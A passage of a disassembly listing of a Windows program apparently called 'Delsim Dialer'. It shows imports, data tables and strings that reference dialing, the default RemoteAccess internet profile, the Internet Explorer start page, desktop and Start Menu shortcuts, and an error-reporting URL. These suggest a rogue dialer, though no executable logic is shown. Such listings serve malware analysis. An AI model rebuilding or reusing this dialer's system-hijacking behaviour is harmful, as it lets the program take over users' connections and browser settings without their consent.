; sub_404ED0+9Dp ...
; BOOL __stdcall EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam)
extrn EnumWindows:dword ; CODE XREF: sub_405BD0+3Dp
; DATA XREF: sub_405BD0+3Dr
;
; Imports from WININET.dll
;
extrn InternetCloseHandle:dword ; CODE XREF: sub_406E60+93Fp
; sub_406E60+949p ...
extrn InternetReadFile:dword ; CODE XREF: sub_406E60+A1p
; sub_407820+104p
; DATA XREF: ...
extrn InternetOpenUrlA:dword ; CODE XREF: sub_406E60+7Ap
; sub_407820+DBp
; DATA XREF: ...
extrn InternetOpenA:dword ; CODE XREF: sub_406E60+5Bp
; sub_407820+5Bp
; DATA XREF: ...
extrn InternetAutodial:dword ; CODE XREF: sub_406E60+35p
; sub_407820+35p
; DATA XREF: ...
extrn InternetCheckConnectionA:dword ; CODE XREF: sub_406E60+20p
; sub_406E60+44p ...
;
; Imports from ole32.dll
;
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid,LPUNKNOWN pUnkOuter,DWORD dwClsContext,const IID *const riid,LPVOID *ppv)
extrn CoCreateInstance:dword ; CODE XREF: sub_404810+AAp
; sub_404A70+7Dp ...
; HRESULT __stdcall CoRevokeClassObject(DWORD dwRegister)
extrn CoRevokeClassObject:dword ; CODE XREF: sub_4046D0+2Cp
; DATA XREF: sub_4046D0+1Er
; HRESULT __stdcall CoRegisterClassObject(const IID *const rclsid,LPUNKNOWN pUnk,DWORD dwClsContext,DWORD flags,LPDWORD lpdwRegister)
extrn CoRegisterClassObject:dword ; CODE XREF: sub_404630+59p
; DATA XREF: sub_404630+59r
; LPVOID __stdcall CoTaskMemRealloc(LPVOID pv,SIZE_T cb)
extrn CoTaskMemRealloc:dword ; CODE XREF: sub_401D60+17p
; sub_401DC0+63p
; DATA XREF: ...
; LPVOID __stdcall CoTaskMemAlloc(SIZE_T cb)
extrn CoTaskMemAlloc:dword ; CODE XREF: sub_401620+44p
; sub_401620+49p ...
; HRESULT __stdcall CoInitialize(LPVOID pvReserved)
extrn CoInitialize:dword ; CODE XREF: sub_4010C0+18p
; DATA XREF: sub_4010C0+18r
; void __stdcall CoUninitialize()
extrn CoUninitialize:dword ; CODE XREF: sub_4010C0+485p
; DATA XREF: sub_4010C0+485r
; void __stdcall CoTaskMemFree(LPVOID pv)
extrn CoTaskMemFree:dword ; CODE XREF: sub_4015D0+1Ep
; sub_4015D0+23p ...
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 40D1F4h
align 8
off_40D1F8 dd offset aS_0 ; DATA XREF: sub_402FF0+ECr
; "S"
off_40D1FC dd offset aD ; DATA XREF: sub_402FF0+D0r
; "D"
off_40D200 dd offset aB ; DATA XREF: sub_402FF0+D6r
; "B"
; LPCSTR off_40D204
off_40D204 dd offset aVal ; DATA XREF: sub_402370:loc_4028D7r
; "Val"
; LPCSTR off_40D208
off_40D208 dd offset aForceremove ; DATA XREF: sub_402370+111r
; "ForceRemove"
; LPCSTR off_40D20C
off_40D20C dd offset aNoremove ; DATA XREF: sub_402370:loc_4027F0r
; "NoRemove"
; LPCSTR lpString2
lpString2 dd offset aDelete ; DATA XREF: sub_402370:loc_40246Er
; "Delete"
dd 0
dd 21400h, 0
dd 0C0h, 46000000h
; IID stru_40D228
stru_40D228 dd 21401h ; Data1 ; DATA XREF: sub_40ACD0+17o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
dd 21490h, 0
dd 0C0h, 46000000h, 21491h, 0
dd 0C0h, 46000000h, 21492h, 0
dd 0C0h, 46000000h, 21493h, 0
dd 0C0h, 46000000h, 21494h, 0
dd 0C0h, 46000000h, 214A0h, 0
dd 0C0h, 46000000h, 214A1h, 0
dd 0C0h, 46000000h, 214D0h, 0
dd 0C0h, 46000000h, 214D1h, 0
dd 0C0h, 46000000h, 214D2h, 0
dd 0C0h, 46000000h, 214D3h, 0
dd 0C0h, 46000000h, 214E1h, 0
dd 0C0h, 46000000h, 214E2h, 0
dd 0C0h, 46000000h, 214E3h, 0
dd 0C0h, 46000000h, 214E4h, 0
dd 0C0h, 46000000h, 214E5h, 0
dd 0C0h, 46000000h, 214E6h, 0
dd 0C0h, 46000000h, 214E8h, 0
dd 0C0h, 46000000h, 214E9h, 0
dd 0C0h, 46000000h, 214EAh, 0
dd 0C0h, 46000000h, 214EBh, 0
dd 0C0h, 46000000h, 214ECh, 0
dd 0C0h, 46000000h, 214EDh, 0
dd 0C0h, 46000000h
; IID stru_40D3A8
stru_40D3A8 dd 214EEh ; Data1 ; DATA XREF: sub_40ACD0+Co
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
dd 214EFh, 0
dd 0C0h, 46000000h, 214F0h, 0
dd 0C0h, 46000000h, 214F1h, 0
dd 0C0h, 46000000h, 214F2h, 0
dd 0C0h, 46000000h, 214F3h, 0
dd 0C0h, 46000000h, 214F4h, 0
dd 0C0h, 46000000h, 214F5h, 0
dd 0C0h, 46000000h, 214F6h, 0
dd 0C0h, 46000000h, 214F7h, 0
dd 0C0h, 46000000h, 214F8h, 0
dd 0C0h, 46000000h, 214F9h, 0
dd 0C0h, 46000000h, 214FAh, 0
dd 0C0h, 46000000h, 214FBh, 0
dd 0C0h, 46000000h, 214FCh, 0
dd 0C0h, 46000000h, 214FDh, 0
dd 0C0h, 46000000h, 214FEh, 0
dd 0C0h, 46000000h, 21500h, 0
dd 0C0h, 46000000h, 8BCE1FA1h, 101B0921h, 0DD00FFB1h, 48CC0C01h
dd 88E39E80h, 11CF3578h, 869AEh, 62122E2Bh, 0AC60F6A0h
dd 11D00FD9h, 0C000CB99h, 9744D64Fh, 0ADD8BA80h, 11D0002Bh
dd 0C0000F8Fh, 62D0D74Fh, 68284FAAh, 11D06A48h, 0C000788Ch
dd 0B418D94Fh, 0F1DB8392h, 11D07331h, 0A000998Ch, 0E8BF2DC9h
dd 12DD920h, 11D07B26h, 0A000A98Ch, 0E8BF2DC9h, 2A342FC2h
dd 11D07B26h, 0A000A98Ch, 0E8BF2DC9h, 47D2657Ah, 11D07B27h
dd 0A000A98Ch, 0E8BF2DC9h, 7D688A70h, 11D0C613h, 0C0009B99h
dd 0E155D64Fh, 63B51F80h, 11D0C868h, 0C0009C99h, 0E155D64Fh
dd 0C6C4200h, 11D0C589h, 0C0009A99h, 0E155D64Fh, 1AC3D9F0h
dd 11D1175Ch, 6000BE95h, 4FEA9797h, 63B51F81h, 11D0C868h
dd 0C0009C99h, 0E155D64Fh, 7D688A77h, 11D0C613h, 0C0009B99h
dd 0E155D64Fh, 0BCFCE0A0h, 11D0EC17h, 0A000108Dh, 19270FC9h
dd 0EB0FE172h, 11D01A3Ah, 0A000B389h, 0AC900AC9h, 49C3DE7Ch
dd 11D0D329h, 0C00073ABh, 803EC34Fh, 0FBF23B40h, 101BE3F0h
dd 0AA008884h, 0F8563E00h, 0FBF23B80h, 101BE3F0h, 0AA008884h
dd 0F8563E00h, 0CABB0DA0h, 11CFDA57h, 20007499h, 6297D7AFh
dd 3C374A40h, 11CFBAE4h, 0AA007DBFh, 0EE466900h, 0CFBFAE00h
dd 11D017A6h, 0C000CB99h, 9744D64Fh, 4C96BE40h, 11CF915Ch
dd 0AA00D399h, 37E84A00h, 75048700h, 11D0EF1Fh, 60008898h
dd 0F9ACDE97h, 0F490EB00h, 11D11240h, 60008898h, 0F9ACDE97h
dd 56FDF344h, 11D0FD6Dh, 60008A95h, 90A0C997h, 56FDF342h
dd 11D0FD6Dh, 60008A95h, 90A0C997h
dword_40D688 dd 9B4AA441h ; DATA XREF: sub_4010C0+59o
; sub_4010C0+62r
dword_40D68C dd 11D59EBFh ; DATA XREF: sub_4010C0+68r
dword_40D690 dd 5000118Ch ; DATA XREF: sub_4010C0+6Dr
dword_40D694 dd 0F55749DAh ; DATA XREF: sub_4010C0+79r
off_40D698 dd offset sub_402180 ; DATA XREF: sub_4010C0+3B1o
; sub_404570+6o
dd offset sub_4047F0
dd offset nullsub_1
align 8
off_40D6A8 dd offset aHkcr ; DATA XREF: sub_401F10+10o
; "HKCR"
dword_40D6AC dd 80000000h ; DATA XREF: sub_401F10:loc_401F42r
dd offset aHkcu ; "HKCU"
dd 80000001h, 40F168h, 80000002h, 40F164h, 80000003h, 40F15Ch
dd 80000004h, 40F154h, 80000006h, 40F14Ch, 80000005h, 40F138h
dd 80000000h, 40F124h, 80000001h, 40F110h, 80000002h, 40F104h
dd 80000003h, 40F0ECh, 80000004h, 40F0DCh, 80000006h, 40F0C8h
dd 80000005h
byte_40D718 db 1 ; DATA XREF: sub_4010C0+3DAr
; sub_401F10+23o ...
db 1
byte_40D71A db 1 ; DATA XREF: sub_4010C0+357r
; sub_4039C0:loc_404144r
align 10h
dword_40D720 dd 0 ; DATA XREF: sub_405140+7o
dword_40D724 dd 12Ch ; DATA XREF: sub_405140:loc_405167r
dd 1, 12Dh, 2, 12Eh, 3, 12Fh, 4, 130h, 5, 131h, 6, 132h
dd 7, 133h, 8, 134h, 9, 135h, 0Ah, 136h, 0Bh, 137h, 0Ch
dd 138h, 0Dh, 139h, 0Eh, 13Ah, 0Fh, 13Bh, 10h, 13Ch, 11h
dd 13Dh, 12h, 13Eh, 13h, 13Fh, 14h, 140h, 15h, 141h, 16h
dd 142h, 17h, 143h, 1000h, 144h, 1001h, 145h, 1002h, 146h
dd 1003h, 147h, 2000h, 149h, 2001h, 14Ah
off_40D810 dd offset aS_0 ; DATA XREF: sub_405140+14o
; "S"
dd offset aD ; "D"
dd offset aB ; "B"
dd offset aVal ; "Val"
dd offset aForceremove ; "ForceRemove"
dd offset aNoremove ; "NoRemove"
dd offset aDelete ; "Delete"
align 10h
dword_40D830 dd 2 dup(0) ; DATA XREF: sub_404630+3Co
dd 0C0h, 46000000h
; IID rclsid
rclsid dd 2E005h ; Data1 ; DATA XREF: sub_404810+A5o
; sub_404A70+78o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; IID riid
riid dd 2E012h ; Data1 ; DATA XREF: sub_404810+9Co
; sub_404A70+70o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
dword_40D860 dd 10Bh, 0 ; DATA XREF: sub_40ACD0+3Bo
dd 0C0h, 46000000h
; char byte_40D870[]
byte_40D870 db 4 dup(0) ; DATA XREF: sub_40B7C4+57o
; sub_40BA13+52o
; const WCHAR SrcStr
SrcStr dw 0 ; DATA XREF: sub_40B7C4+36o
; sub_40BA13+39o
align 4
dword_40D878 dd 0FFFFFFFFh, 40B8D4h, 40B8D8h, 0FFFFFFFFh, 40B988h, 40B98Ch
; DATA XREF: sub_40B7C4+5o
dword_40D890 dd 0FFFFFFFFh, 40BB0Ch, 40BB10h, 0D968h, 2 dup(0) ; DATA XREF: sub_40BA13+5o
dd 0DE40h, 0D02Ch, 0DA70h, 2 dup(0)
dd 0E04Ah, 0D134h, 0D93Ch, 2 dup(0)
dd 0E102h, 0D000h, 0DA64h, 2 dup(0)
dd 0E132h, 0D128h, 0DB0Ch, 2 dup(0)
dd 0E1D8h, 0D1D0h, 0DA44h, 2 dup(0)
dd 0E1E2h, 0D108h, 0DAF0h, 2 dup(0)
dd 0E26Eh, 0D1B4h, 5 dup(0)
dd 0E056h, 0E078h, 0E088h, 0E096h, 0E0A8h, 0E0B8h, 0E0CAh
dd 0E0DEh, 0E0EEh, 0E068h, 0
dd 0DBBEh, 0DBCAh, 0DBE0h, 0DBECh, 0DBFCh, 0DC0Ah, 0DC1Ch
dd 0DC32h, 0DC40h, 0DC52h, 0DC62h, 0DC72h, 0DC82h, 0DC94h
dd 0DCAAh, 0DCB6h, 0DCC8h, 0DCD6h, 0DCE2h, 0DCEEh, 0DD04h
dd 0DD1Ah, 0DD36h, 0DD44h, 0DBA8h, 0DD6Eh, 0DD7Eh, 0DD8Ah
dd 0DD96h, 0DDAEh, 0DDC6h, 0DDDEh, 0DDF2h, 0DE06h, 0DE18h
dd 0DE26h, 0DE34h, 0E2EEh, 0E2DCh, 0E2CCh, 0E2BCh, 0E2A2h
dd 0E28Eh, 0E27Ah, 0DB94h, 0DB88h, 0DB7Ch, 0DB74h, 0DB64h
dd 0DB54h, 0E300h, 0DB3Eh, 0DB30h, 0DD5Ch, 0
dd 800000A1h, 80000007h, 80000004h, 80000006h, 80000002h
dd 80000115h, 800000A3h, 0
dd 0E122h, 0E110h, 0
dd 0E038h, 0DF7Ch, 0DF70h, 0DF5Ah, 0DF4Ch, 0E02Ch, 0DF1Ch
dd 0DF0Eh, 0DEFEh, 0DFFEh, 0DED6h, 0DEC8h, 0E020h, 0E00Eh
dd 0DF3Eh, 0DE4Eh, 0DE64h, 0DF2Eh, 0DE78h, 0DE8Ch, 0DE9Ah
dd 0DEA8h, 0DEBCh, 0DFF0h, 0DFE0h, 0DFCAh, 0DFBEh, 0DFAEh
dd 0DF9Ch, 0DEECh, 0DF8Eh, 0
dd 0E1F0h, 0E206h, 0E21Ah, 0E22Eh, 0E23Eh, 0E252h, 0
dd 0E1C4h, 0E1AEh, 0E196h, 0E182h, 0E170h, 0E150h, 0E13Eh
dd 0E160h, 0
dd 6C43001Bh, 4865736Fh, 6C646E61h, 2CE0065h
aWaitforsingleo db 'WaitForSingleObject',0
aJ db 'J',0
aCreatethread db 'CreateThread',0
align 4
a1 db '1',0
aCreateeventa db 'CreateEventA',0
align 4
db 96h ; –
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 9
db 3, 6Ch, 73h
aTrlenw db 'trlenW',0
align 4
db 8
db 3, 6Ch, 73h
aTrlena db 'trlenA',0
align 4
db 4Eh ; N
db 1, 47h, 65h
aTshortpathname db 'tShortPathNameA',0
db 24h ; $
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 2FFh
aLstrcmpia db 'lstrcmpiA',0
dw 0FAh
aGetcurrentthre db 'GetCurrentThreadId',0
align 10h
db 99h ; ™
db 1, 48h, 65h
aApalloc db 'apAlloc',0
db 5Bh ; [
db 1, 47h, 65h
aTsysteminfo db 'tSystemInfo',0
db 9Bh ; ›
db 1, 48h, 65h
aApcreate db 'apCreate',0
align 2
db 'Ê',0
aGetcommandline db 'GetCommandLineA',0
db 0E4h ; ä
db 1, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
db '´',0
aFreelibrary db 'FreeLibrary',0
db 95h ; •
db 2, 53h, 69h
aZeofresource db 'zeofResource',0
align 2
dw 1C7h
aLoadresource db 'LoadResource',0
align 2
aG db '£',0
aFindresourcea db 'FindResourceA',0
dw 11Ah
aGetlasterror db 'GetLastError',0
align 2
dw 1C3h
aLoadlibraryexa db 'LoadLibraryExA',0
align 4
db 0D2h ; Ò
db 2, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 305h
aLstrcpyna db 'lstrcpynA',0
dw 1B9h
aIsdbcsleadbyte db 'IsDBCSLeadByte',0
align 4
aW db 'W',0
aDeletefilea db 'DeleteFileA',0
db '(',0
aCopyfilea db 'CopyFileA',0
dw 2FCh
aLstrcmpa db 'lstrcmpA',0
align 2
dw 268h
aSetfileattribu db 'SetFileAttributesA',0
align 4
db 0Dh
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 1AAh
aInitializecrit db 'InitializeCriticalSection',0
dw 19Dh
aHeapdestroy db 'HeapDestroy',0
aU_0 db 'U',0
aDeletecritical db 'DeleteCriticalSection',0
dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1C20000h
dd 64616F4Ch, 7262694Ch, 41797261h, 3020000h, 7274736Ch
dd 41797063h, 2F90000h, 7274736Ch, 41746163h, 1C10000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aF db 'f',0
aEntercriticals db 'EnterCriticalSection',0
align 2
db '«',0
aFlushinstructi db 'FlushInstructionCache',0
dw 0F7h
aGetcurrentproc db 'GetCurrentProcess',0
dw 126h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 150h
aGetstartupinfo db 'GetStartupInfoA',0
db '}',0
aExitprocess db 'ExitProcess',0
dw 1A2h
aHeaprealloc db 'HeapReAlloc',0
dd 6548019Fh, 72467061h, 6565h, 4E52454Bh, 32334C45h, 6C6C642Eh
dd 1E10000h
aPostthreadmess db 'PostThreadMessageA',0
align 4
db '•',0
aDispatchmessag db 'DispatchMessageA',0
align 4
dd 73490188h, 6C616944h, 654D676Fh, 67617373h, 4165h, 6547012Ah
dd 73654D74h, 65676173h, 26A0041h, 776F6853h, 646E6957h
dd 776Fh, 654700FFh, 73654474h, 706F746Bh, 646E6957h, 776Fh
dd 68430025h, 654E7261h, 417478h, 6F4C01ABh, 74536461h
dd 676E6972h, 4F0041h
aCreatedialogpa db 'CreateDialogParamA',0
align 4
dd 65530258h, 6E695774h, 4C776F64h, 41676E6Fh, 1DE0000h
dd 74736F50h, 7373654Dh, 41656761h, 1020000h, 44746547h
dd 7449676Ch, 6D65h, 6F5001E0h, 75517473h, 654D7469h, 67617373h
dd 8E0065h, 74736544h, 57796F72h, 6F646E69h, 1BE0077h
dd 7373654Dh, 42656761h, 41786Fh, 767702AEh, 69727073h
dd 4166746Eh, 20F0000h
aSenddlgitemmes db 'SendDlgItemMessageA',0
dd 737702ACh, 6E697270h, 416674h, 6553022Ch, 676C4474h
dd 6D657449h, 74786554h, 0D00041h, 6D756E45h, 646E6957h
dd 73776Fh, 65470156h, 6E695774h, 4C776F64h, 41676E6Fh
dd 0EF0000h, 43746547h, 7373616Ch, 64726F57h, 22F0000h
dd 46746553h, 7375636Fh, 2300000h
aSetforegroundw db 'SetForegroundWindow',0
dd 65530214h, 654D646Eh, 67617373h, 4165h, 6F4C01A0h, 6D496461h
dd 41656761h, 0B70000h, 62616E45h, 6957656Ch, 776F646Eh
dd 25E0000h, 57746553h, 6F646E69h, 78655477h, 4174h, 65530252h
dd 6D695474h, 7265h, 694B0195h, 69546C6Ch, 72656Dh, 65470104h
dd 676C4474h, 6D657449h, 74786554h, 53550041h, 32335245h
dd 6C6C642Eh, 1640000h, 44676552h, 74656C65h, 6C615665h
dd 416575h, 65520162h, 6C654467h, 4B657465h, 417965h, 65520167h
dd 756E4567h, 79654B6Dh, 417845h, 6552015Bh, 6F6C4367h
dd 654B6573h, 15F0079h, 43676552h, 74616572h, 79654B65h
dd 417845h, 65520172h, 65704F67h, 79654B6Eh, 417845h, 65520186h
dd 74655367h, 756C6156h, 41784565h, 1760000h, 51676552h
dd 79726575h, 6F666E49h, 4179654Bh, 16A0000h, 45676552h
dd 566D756Eh, 65756C61h, 17B0041h, 51676552h, 79726575h
dd 756C6156h, 41784565h, 44410000h, 49504156h, 642E3233h
dd 6C6Ch, 4853003Bh, 6E616843h, 6F4E6567h, 79666974h, 720000h
dd 6C656853h, 6578456Ch, 65747563h, 48530041h, 334C4C45h
dd 6C642E32h, 53006Ch, 6E556F43h, 74696E69h, 696C6169h
dd 657Ah, 6F43002Dh, 74696E49h, 696C6169h, 657Ah, 6F43004Fh
dd 6B736154h, 466D654Dh, 656572h, 6F43004Eh, 6B736154h
dd 416D654Dh, 636F6C6Ch, 500000h, 61546F43h, 654D6B73h
dd 6165526Dh, 636F6C6Ch, 3E0000h
aCoregisterclas db 'CoRegisterClassObject',0
aG_0 db 'G',0
aCorevokeclasso db 'CoRevokeClassObject',0
db 0Dh,0
aCocreateinstan db 'CoCreateInstance',0
align 4
aOle32_dll db 'ole32.dll',0
aOleaut32_dll db 'OLEAUT32.dll',0
align 10h
aV db 'V',0
aInternetcloseh db 'InternetCloseHandle',0
aW_0 db 'w',0
aInternetreadfi db 'InternetReadFile',0
align 2
aQ db 'q',0
aInternetopenur db 'InternetOpenUrlA',0
align 2
aO db 'o',0
aInternetopena db 'InternetOpenA',0
aO_0 db 'O',0
aInternetautodi db 'InternetAutodial',0
align 2
aT db 'T',0
aInternetcheckc db 'InternetCheckConnectionA',0
align 2
aWininet_dll db 'WININET.dll',0
dw 29Eh
aTerminateproce db 'TerminateProcess',0
align 2
db '-',0
aCreatedirector db 'CreateDirectoryA',0
align 2
dw 15Fh
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
dd 434C01BFh, 5370614Dh, 6E697274h, 4167h, 434C01C0h, 5370614Dh
dd 6E697274h, 5767h, 65470153h, 72745374h, 54676E69h, 41657079h
dd 1560000h, 53746547h, 6E697274h, 70795467h, 5765h, 7452022Fh
dd 776E556Ch, 646E69h, 3Dh dup(0)
_rdata ends
; Section 3. (virtual address 0000F000)
; Virtual size : 00000C6C ( 3180.)
; Section size in file : 00000C00 ( 3072.)
; Offset to raw data for section: 0000CA00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 40F000h
dd 3 dup(0)
dd offset sub_40B50B
dd 0
dword_40F014 dd 0 ; DATA XREF: sub_40AFB0+65o
dword_40F018 dd 0 ; DATA XREF: sub_40AFB0:loc_40B010o
dword_40F01C dd 0 ; DATA XREF: sub_40AFB0+76o
dword_40F020 dd 4 dup(0) ; DATA XREF: sub_40AFB0:loc_40B021o
off_40F030 dd offset aClsid ; DATA XREF: sub_402370:loc_4025AAo
; sub_402370+958o
; "CLSID"
dd offset aTypelib ; "TYPELIB"
aTypelib db 'TYPELIB',0 ; DATA XREF: sub_402370+254o
; sub_402370+971o ...
aClsid db 'CLSID',0 ; DATA XREF: .data:off_40F030o
align 4
aDelete db 'Delete',0 ; DATA XREF: .rdata:lpString2o
; .rdata:0040D828o
align 10h
aNoremove db 'NoRemove',0 ; DATA XREF: .rdata:off_40D20Co
; .rdata:0040D824o
align 4
aForceremove db 'ForceRemove',0 ; DATA XREF: .rdata:off_40D208o
; .rdata:0040D820o
aVal db 'Val',0 ; DATA XREF: .rdata:off_40D204o
; .rdata:0040D81Co
aB: ; DATA XREF: .rdata:off_40D200o
; .rdata:0040D818o
unicode 0, <B>,0
aD: ; DATA XREF: .rdata:off_40D1FCo
; .rdata:0040D814o
unicode 0, <D>,0
aS_0: ; DATA XREF: .rdata:off_40D1F8o
; .rdata:off_40D810o
unicode 0, <S>,0
dword_40F078 dd 0B62F5910h, 11D16528h, 1196h, 0D0D1EF8h ; DATA XREF: sub_4010C0+21o
; const WCHAR Type
Type: ; DATA XREF: sub_4010C0+23Bo
; sub_4010C0+316o
unicode 0, <REGISTRY>,0
align 4
; const WCHAR aModule
aModule: ; DATA XREF: sub_4010C0+230o
; sub_4010C0+30Bo
unicode 0, <Module>,0
align 4
; char aRegserver[]
aRegserver db 'RegServer',0 ; DATA XREF: sub_4010C0+165o
align 4
; char String2[]
String2 db 'UnregServer',0 ; DATA XREF: sub_4010C0:loc_401219o
word_40F0C4 dw 2F2Dh ; DATA XREF: sub_4010C0+11Er
byte_40F0C6 db 0 ; DATA XREF: sub_4010C0+134r
align 4
aHkey_current_c db 'HKEY_CURRENT_CONFIG',0
aHkey_dyn_data db 'HKEY_DYN_DATA',0
align 4
aHkey_performan db 'HKEY_PERFORMANCE_DATA',0
align 4
aHkey_users db 'HKEY_USERS',0
align 10h
aHkey_local_mac db 'HKEY_LOCAL_MACHINE',0
align 4
aHkey_current_u db 'HKEY_CURRENT_USER',0
align 4
aHkey_classes_r db 'HKEY_CLASSES_ROOT',0
align 4
aHkcc db 'HKCC',0
align 4
aHkdd db 'HKDD',0
align 4
aHkpd db 'HKPD',0
align 4
aHku db 'HKU',0
aHklm db 'HKLM',0
align 10h
aHkcu db 'HKCU',0 ; DATA XREF: .rdata:0040D6B0o
align 4
aHkcr db 'HKCR',0 ; DATA XREF: .rdata:off_40D6A8o
align 10h
; char SubKey[]
SubKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\delsim',0
; DATA XREF: sub_4036E0+229o
; sub_4039C0+7C6o
align 4
; char aUninstshortcut[]
aUninstshortcut db 'uninstShortcut',0 ; DATA XREF: sub_4036E0+197o
; sub_4036E0+1B6o ...
align 4
; char ValueName[]
ValueName db 'uninstExe',0 ; DATA XREF: sub_4036E0+137o
; sub_4036E0+156o ...
align 4
; char MultiByteStr[]
MultiByteStr: ; DATA XREF: sub_4036E0:loc_403781o
; sub_4036E0:loc_40378Eo ...
unicode 0, <\>,0
; char aUninstallstrin[]
aUninstallstrin db 'UninstallString',0 ; DATA XREF: sub_4039C0+876o
; char aU[]
aU db ' -u',0 ; DATA XREF: sub_4039C0+808o
; sub_4039C0:loc_4041D5o ...
; char aDisplayname[]
aDisplayname db 'DisplayName',0 ; DATA XREF: sub_4039C0+800o
; BYTE Data
Data db 'Delsim Dialer',0 ; DATA XREF: sub_4039C0+7E1o
; sub_4039C0+7F8o
align 4
aInternetDialer db 'Internet Dialer',0 ; DATA XREF: sub_4039C0+715o
; char a_lnk[]
a_lnk db '.lnk',0 ; DATA XREF: sub_4039C0+6CFo
; sub_4039C0:loc_40409Co ...
align 4
; char a_exe[]
a_exe db '.exe',0 ; DATA XREF: sub_4039C0+4F2o
; sub_4039C0:loc_403EBFo ...
align 4
; char a_[]
a_: ; DATA XREF: sub_4039C0+3DBo
; sub_4039C0:loc_403DA8o ...
unicode 0, <.>,0
; char aC[]
aC db 'c:\',0 ; DATA XREF: sub_4039C0:loc_403C9Do
; sub_4039C0:loc_403CAAo ...
; char ProcName[]
ProcName db 'UnRegisterTypeLib',0 ; DATA XREF: sub_404A70+159o
align 4
; char LibFileName[]
LibFileName db 'oleaut32.dll',0 ; DATA XREF: sub_404A70+148o
align 4
; char a_tlb[]
a_tlb db '.tlb',0 ; DATA XREF: sub_404C30:loc_404D37o
align 10h
; LPCSTR off_40F260
off_40F260 dd offset aSoftwareMicr_0 ; DATA XREF: sub_4039C0+655r
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd offset aDesktop ; "Desktop"
; LPCSTR off_40F268
off_40F268 dd offset aStartMenu ; DATA XREF: sub_4039C0+64Fr
; "Start Menu"
dd offset aSoftwareMicros ; "Software\\Microsoft\\Internet Explorer\\Ma"...
dd offset aStartPage ; "Start Page"
; LPCSTR lpSubKey
lpSubKey dd offset aRemoteaccess ; DATA XREF: sub_407EC0:loc_408108r
; sub_4081B0+12r ...
; "RemoteAccess"
; LPCSTR lpValueName
lpValueName dd offset aDefault ; DATA XREF: sub_407EC0+172r
; sub_407EC0+19Cr ...
; "Default"
; LPCSTR off_40F27C
off_40F27C dd offset aInternetprofil ; DATA XREF: sub_407EC0:loc_40809Br
; sub_407EC0+200r ...
; "InternetProfile"
; LPCSTR off_40F280
off_40F280 dd offset aSoftwareMicr_1 ; DATA XREF: sub_4039C0+2ACr
; "Software\\Microsoft\\Windows\\CurrentVersi"...
; LPCSTR off_40F284
off_40F284 dd offset aProgramfilesdi ; DATA XREF: sub_4039C0+2A6r
; "ProgramFilesDir"
; LPCSTR lpString
lpString dd offset aDelsim ; DATA XREF: sub_4039C0+391r
; "delsim"
; LPCSTR lpFile
lpFile dd offset aHttpWww_traffi ; DATA XREF: sub_405C90+FDr
; "http://www.trafficjam.nl/?failed=initia"...
aHttpWww_traffi db 'http://www.trafficjam.nl/?failed=initialize',0
; DATA XREF: .data:lpFileo
aDelsim db 'delsim',0 ; DATA XREF: .data:lpStringo
align 4
aProgramfilesdi db 'ProgramFilesDir',0 ; DATA XREF: .data:off_40F284o
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: .data:off_40F280o
align 10h
aInternetprofil db 'InternetProfile',0 ; DATA XREF: .data:off_40F27Co
aDefault db 'Default',0 ; DATA XREF: .data:lpValueNameo
aRemoteaccess db 'RemoteAccess',0 ; DATA XREF: .data:lpSubKeyo
align 4
aStartPage db 'Start Page',0 ; DATA XREF: .data:0040F270o
align 4
aSoftwareMicros db 'Software\Microsoft\Internet Explorer\Main',0
; DATA XREF: .data:0040F26Co
align 10h
aStartMenu db 'Start Menu',0 ; DATA XREF: .data:off_40F268o
align 4
aDesktop db 'Desktop',0 ; DATA XREF: .data:0040F264o
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
; DATA XREF: .data:off_40F260o
align 4
byte_40F3B8 db 1 ; DATA XREF: sub_4064E0:loc_40650Cr
; sub_4064E0+4Bw
align 4
; char Operation[]
Operation db 'open',0 ; DATA XREF: sub_404FF0+Bo
align 4
; char aLasterror[]
aLasterror db '&lasterror=',0 ; DATA XREF: sub_4051A0+2E1o
; sub_4051A0:loc_40548Eo ...
; char aLinenumber[]
aLinenumber db '&linenumber=',0 ; DATA XREF: sub_4051A0+292o
; sub_4051A0:loc_40543Fo ...
align 10h
; char aErrorFatalFile[]
aErrorFatalFile db 'error=fatal&filename=',0 ; DATA XREF: sub_4051A0+243o
; sub_4051A0:loc_4053F0o ...
align 4
asc_40F3F8: ; DATA XREF: sub_4051A0+202o
unicode 0, <&>,0
; char String[]
String db '?',0 ; DATA XREF: sub_4051A0+1F9o
align 10h
; char aResourceLdNotF[]
aResourceLdNotF db 'resource %ld not found',0 ; DATA XREF: sub_4055A0+37o
align 4
; char aIsdn[]
aIsdn db 'isdn',0 ; DATA XREF: sub_405C90+627o
; sub_409720+28o
align 10h
; char aModem[]
aModem db 'modem',0 ; DATA XREF: sub_405C90+617o
; sub_409720+1Co
align 4
; char Mem[]
Mem db 'D:\Work\Splendo\Dialer\working\dialer hidden_ip2code_code2nrs_uni'
; DATA XREF: sub_405C90+4E0o
db 'nst\InternetDialer\C++ Sources\Dialer\BsdMainDlg.cpp',0
align 10h
aXx db 'xx',0 ; DATA XREF: sub_405C90+174o
; sub_406720+32Co ...
align 4
; char aS[]
